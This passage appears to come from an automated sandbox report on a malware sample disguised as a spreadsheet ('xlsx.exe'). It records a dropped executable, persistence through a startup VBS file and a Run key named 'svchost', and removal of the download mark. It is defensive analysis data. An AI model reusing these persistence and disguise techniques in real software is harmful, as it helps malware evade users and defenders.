                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 0_2_072ADED8 pushfd ; iretd 0_2_072ADED9
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 0_2_072A552D push FFFFFF8Bh; iretd 0_2_072A552F
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 0_2_072A5405 push FFFFFF8Bh; iretd 0_2_072A5407
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 0_2_072A53B1 push FFFFFF8Bh; ret 0_2_072A53B6
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 0_2_072A53EC push FFFFFF8Bh; ret 0_2_072A53F0
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 0_2_072D8B2B push ebx; ret 0_2_072D8B2C
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_0663FF93 push ss; ret 5_2_0663FF9A
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_0663E4D3 push es; ret 5_2_0663E4DA
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_0663E4D1 push es; ret 5_2_0663E4D2
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_0663E568 push es; ret 5_2_0663E56A
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_0663E520 push es; ret 5_2_0663E522
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_0663E5B7 push es; ret 5_2_0663E5BA
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_0663E5BB push es; ret 5_2_0663E5C2
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_0663F219 push cs; ret 5_2_0663F21A
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_0663F2A3 push cs; ret 5_2_0663F2AA
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_0663F2A1 push cs; ret 5_2_0663F2A2
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_072B1B00 push esp; iretd 5_2_072B1B39
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_0779552D push FFFFFF8Bh; iretd 5_2_0779552F
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_07795405 push FFFFFF8Bh; iretd 5_2_07795407
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_077953EC push FFFFFF8Bh; ret 5_2_077953F0
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_077953B1 push FFFFFF8Bh; ret 5_2_077953B6
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 5_2_077C8B2B push ebx; ret 5_2_077C8B2C
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeFile created: C:\Users\user\AppData\Roaming\RealErrorObject.exeJump to dropped file
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeFile created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\InstallUtil.exe.logJump to behavior

                Boot Survival

                barindex
                Drops VBS files to the startup folder
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RealErrorObject.vbsJump to dropped file
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RealErrorObject.vbsJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RealErrorObject.vbsJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run svchostJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run svchostJump to behavior

                Hooking and other Techniques for Hiding and Protection

                barindex
                Hides that the sample has been downloaded from the Internet (zone.identifier)
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe:Zone.Identifier read attributes | deleteJump to behavior
                Uses an obfuscated file name to hide its real file extension (double extension)
                Source: Possible double extension: xlsx.exeStatic PE information: RFQ 9-XTC-204-60THD.xlsx.exe
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
